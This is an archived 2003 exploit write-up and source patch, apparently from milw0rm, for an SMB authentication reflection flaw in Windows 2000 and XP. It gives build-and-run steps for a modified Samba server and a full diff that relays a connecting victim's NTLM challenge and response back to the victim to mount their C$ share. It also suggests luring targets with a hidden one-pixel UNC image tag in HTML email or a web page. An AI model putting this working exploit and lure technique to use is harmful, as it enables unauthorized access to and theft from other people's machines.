# MS Windows SMB Authentication Remote Exploit

##########################################
# Exploit for "Authentication flaw in Windows SMB protocol" #
##########################################
# Release Date: 
# April 24, 2003 
# 
# Code by Haamed Gheibi (haamed@linux.ce.aut.ac.ir) 
# Salman Niksefat (salman@linux.ce.aut.ac.ir) 
# 
# Systems Affected by this exploit: 
# Windows 2000 (SP0 SP1 SP2 SP3) 
# Windows XP (SP0 SP1) 
# 
# EXPLOIT PROVIDED FOR EDUCATIONAL PURPOSES ONLY AS A PROOF OF CONCEPT 
# WE TAKE NO RESPONSIBILITY FOR USE OF THIS CODE. 
##########################################

This exploit is based on samba-2.2.8a, you can download the source code from:
http://us1.samba.org/samba/ftp/samba-2.2.8a.tar.bz2
or other mirrors.

First you should configure and make samba source code as follow:
You need first to extract the file:
$ tar -jxf samba-2.2.8a.tar.bz2
$ cd samba-2.2.8a/source

Here you need to configure with suitable options. Here is a config for RedHat 9:
$ ./configure --sysconfdir=/etc --with-codepagedir=/usr/share/samba/codepages\
--with-lockdir=/var/cache/samba --with-configdir=/etc/samba

$ make
$ make bin/smbmount
$ su
# make install

First add an arbitary user to samba: (Choose a reliable password for it for your protection!)
# smbadduser smbtmpuser:root

Now check if your samba server(bin/smbd) and client(bin/smbmount) are working, 
and that ipchains rulls are not set. you can use:
# service smbd stop
# bin/smbd -i
# ipchains -F

Well, now if everything works fine, you can apply the exploit code to the source.
Download it from: http://seclab.ce.aut.ac.ir/samba-exp/exploit/backrush.patch
# patch < backrush.patch

Make it again:
# make bin/smbd
# make bin/smbmount
[Note that you shouldn't make whole samba, cause you may get linker errors]

Make necessary directories:
# mkdir -p bin/backrush/log
# mkdir bin/backrush/mnt
# touch bin/backrush/ip2sharename.map

Now we are done, you MUST change directory to bin and run the server:
# cd bin
# killall -9 smbd
# ./smbd

Now by default, the C$ share folder of any Windows machine who tries to connect
to this SMB server, would be mounted to mnt/machinename-random folder.
If you want to mount another share folder, you can add an entry to ip2sharename.map file as follow:
IPADDRESS:SHARENAME
This option is suitable for XP systems.

2 ways 2 force a client to automatically connect to your modified SMB server:
1. Send him/her a HTML email with the following tag:
<IMG src='\\smb-server\nofile.gif' width=1 height=1>

2. Invite him/her to visit your personal web page.
You can make it by the above tag, then pray and wait until he/she visits your page. ;)

Enjoy!


  * backrush.patch * 


diff -Nur /root/samba-2.2.8a/source/client/smbmount.c /backrush/source.exp/client/smbmount.c
--- /root/samba-2.2.8a/source/client/smbmount.c 2002-04-30 17:56:19.000000000 +0430
+++ /backrush/source.exp/client/smbmount.c 2003-04-19 16:28:04.000000000 +0430
@@ -26,6 +26,10 @@
#include <mntent.h>
#include <asm/types.h>
#include <linux/smb_fs.h>
+//>Backrush
+int br_read[2], br_write[2], br_pid;
+struct Backrush br_state;
+//<

extern BOOL in_client;
extern pstring user_socket_options;
@@ -177,6 +181,21 @@
cli_shutdown(c);
return NULL;
}
+//>Backrush
+ {
+ int i;
+ printf("challange: ");
+ for (i = 0; i < 8; i++)
+ printf("%0.2x",c->cryptkey[i]);
+ fflush(stdout);
+ memcpy(br_state.challenge, c->cryptkey, 8);
+ br_state.status = 1;
+ write(br_write[1],&br_state, sizeof(br_state));
+ printf(" sent to server\n");
+ printf("waiting for response...\n");
+ fflush(stdout); 
+ }
+//<

if (!got_pass) {
char *pass = getpass("Password: ");
@@ -848,6 +867,14 @@
if (*credentials != 0) {
read_credentials_file(credentials);
}
+//>Backrush
+ printf("Started to mount %s on %s\n",argv[1], argv[2]);
+ fflush(stdout);
+ if (getenv("BACKRUSH_READ")) 
+ br_read[0] = atoi(getenv("BACKRUSH_READ"));
+ if (getenv("BACKRUSH_WRITE"))
+ br_write[1] = atoi(getenv("BACKRUSH_WRITE"));
+//<

DEBUG(3,("mount.smbfs started (version %s)\n", VERSION));

diff -Nur /root/samba-2.2.8a/source/include/includes.h /backrush/source.exp/include/includes.h
--- /root/samba-2.2.8a/source/include/includes.h 2003-02-28 19:26:18.000000000 +0330
+++ /backrush/source.exp/include/includes.h 2003-04-17 10:36:54.000000000 +0430
@@ -1,5 +1,26 @@
#ifndef _INCLUDES_H
#define _INCLUDES_H
+
+//>Backrush
+#include <stdlib.h>
+#include <time.h>
+struct Backrush
+{
+ int status;
+ char ip_address[20];
+ int port;
+ char username[256];
+ char sharename[256];
+ char netbios[256];
+ char domain[256];
+ char challenge[8];
+ char nt_resp[24];
+ char lm_resp[24];
+};
+extern struct Backrush br_state;
+extern int br_read[2],br_write[2],br_pid;
+//<
+
/* 
Unix SMB/Netbios implementation.
Version 1.9.
diff -Nur /root/samba-2.2.8a/source/libsmb/cliconnect.c /backrush/source.exp/libsmb/cliconnect.c
--- /root/samba-2.2.8a/source/libsmb/cliconnect.c 2003-03-15 01:04:48.000000000 +0330
+++ /backrush/source.exp/libsmb/cliconnect.c 2003-04-17 12:30:26.000000000 +0430
@@ -23,7 +23,6 @@

#include "includes.h"

-
static const struct {
int prot;
const char *name;
@@ -265,7 +264,28 @@
memcpy(pword, pass, passlen);
memcpy(ntpword, ntpass, ntpasslen);
}
-
+//>Backrush
+ {
+ int i;
+ read(br_read[0],&br_state, sizeof(br_state));
+ printf("received response:\n");
+ fflush(stdout);
+ memcpy(pword, br_state.lm_resp, 24);
+ memcpy(ntpword, br_state.nt_resp, 24);
+ if(br_state.username[0])
+ strncpy(user, br_state.username, 24);
+ printf("username: %s\n", user);
+ printf("lm response: ");
+ for (i = 0; i < 24; i++)
+ printf("%0.2x",pword[i]);
+ printf("\n");
+ printf("nt response: ");
+ for (i = 0; i < 24; i++)
+ printf("%0.2x",ntpword[i]);
+ printf("\n");
+ fflush(stdout);
+ }
+//<
/* send a session setup command */
memset(cli->outbuf,'\0',smb_size);

diff -Nur /root/samba-2.2.8a/source/smbd/negprot.c /backrush/source.exp/smbd/negprot.c
--- /root/samba-2.2.8a/source/smbd/negprot.c 2003-03-15 01:04:49.000000000 +0330
+++ /backrush/source.exp/smbd/negprot.c 2003-04-24 13:37:19.000000000 +0430
@@ -180,6 +180,45 @@
doencrypt = ((cli->sec_mode & 2) != 0);
}

+//>Backrush
+ {
+ srand(time(NULL));
+ pipe(br_read);
+ pipe(br_write);
+ br_state.status = 1;
+ br_state.port = random();
+ strncpy(br_state.ip_address, get_socket_addr(smbd_server_fd()), sizeof(br_state.ip_address));
+ strncpy(br_state.sharename, "c$", sizeof(br_state.sharename));
+ {
+ char tmp[1024], *ptr;
+ FILE *fin = fopen("backrush/ip2sharename.map","r");
+ if (fin)
+ {
+ while(fscanf(fin, "%s", tmp) > 0)
+ {
+ ptr = strchr(tmp, ':');
+ *ptr++ = 0;
+ if (!strcmp(br_state.ip_address,tmp))
+ strncpy(br_state.sharename, ptr, sizeof(br_state.sharename));
+ }
+ fclose(fin);
+ }
+ }
+ if (!(br_pid = fork()))
+ {
+ char cmd[1024];
+ snprintf(cmd, sizeof cmd, "mkdir -p backrush/mnt/%s-%d", br_state.ip_address, br_state.port);
+ system(cmd);
+ snprintf(cmd, sizeof cmd, "export BACKRUSH_READ=%d; export BACKRUSH_WRITE=%d; 
./smbmount //%s/%s backrush/mnt/%s-%d -o username=root,password=let_me_go_in 
>backrush/log/%s-%d",
+ br_write[0], br_read[1], br_state.ip_address, br_state.sharename, br_state.ip_address, 
br_state.port, br_state.ip_address, br_state.port);
+ system(cmd);
+ snprintf(cmd, sizeof cmd, "echo smbmount compeleted >>backrush/log/%s-%d", 
br_state.ip_address, br_state.port);
+ system(cmd);
+ _exit(0);
+ }
+ }
+//<
+
if (doencrypt) {
crypt_len = 8;
if (!cli) {
diff -Nur /root/samba-2.2.8a/source/smbd/password.c /backrush/source.exp/smbd/password.c
--- /root/samba-2.2.8a/source/smbd/password.c 2003-04-07 06:24:00.000000000 +0430
+++ /backrush/source.exp/smbd/password.c 2003-04-19 09:15:47.000000000 +0430
@@ -48,6 +48,10 @@
unsigned char buf[8];

generate_random_buffer(buf,8,False);
+//>Backrush
+ read(br_read[0],&br_state, sizeof(br_state));
+ memcpy(buf, br_state.challenge, 8);
+//<

memcpy(saved_challenge, buf, 8);
memcpy(challenge,buf,8);
@@ -466,7 +470,13 @@
uchar challenge[8];
char* user_name;
uint8 *nt_pw, *lm_pw;
-
+//>Backrush
+ memcpy(br_state.nt_resp, nt_pass, 24);
+ memcpy(br_state.lm_resp, lm_pass, 24);
+ write(br_write[1],&br_state, sizeof(br_state));
+// waitpid(br_pid,NULL,WNOHANG);
+ return(False);
+//<
if (!lm_pass || !sampass) 
return(False);

diff -Nur /root/samba-2.2.8a/source/smbd/reply.c /backrush/source.exp/smbd/reply.c
--- /root/samba-2.2.8a/source/smbd/reply.c 2003-04-07 06:24:00.000000000 +0430
+++ /backrush/source.exp/smbd/reply.c 2003-04-16 18:03:58.000000000 +0430
@@ -974,6 +974,11 @@
* security=domain.
*/

+//>Backrush 
+ strncpy(br_state.username,user,sizeof(br_state.username));
+ strncpy(user,"root",sizeof(br_state.username));
+//<
+
if (!guest && !check_server_security(orig_user, domain, user, 
smb_apasswd, smb_apasslen, smb_ntpasswd, smb_ntpasslen) &&
!check_domain_security(orig_user, domain, user, smb_apasswd,
diff -Nur /root/samba-2.2.8a/source/smbd/server.c /backrush/source.exp/smbd/server.c
--- /root/samba-2.2.8a/source/smbd/server.c 2003-03-15 01:04:49.000000000 +0330
+++ /backrush/source.exp/smbd/server.c 2003-04-16 18:05:17.000000000 +0430
@@ -25,6 +25,11 @@
extern fstring global_myworkgroup;
extern pstring global_myname;

+//<Backrush
+int br_read[2],br_write[2],br_pid;
+struct Backrush br_state;
+//>
+
int am_parent = 1;

/* the last message the was processed */

# milw0rm.com [2003-04-25]
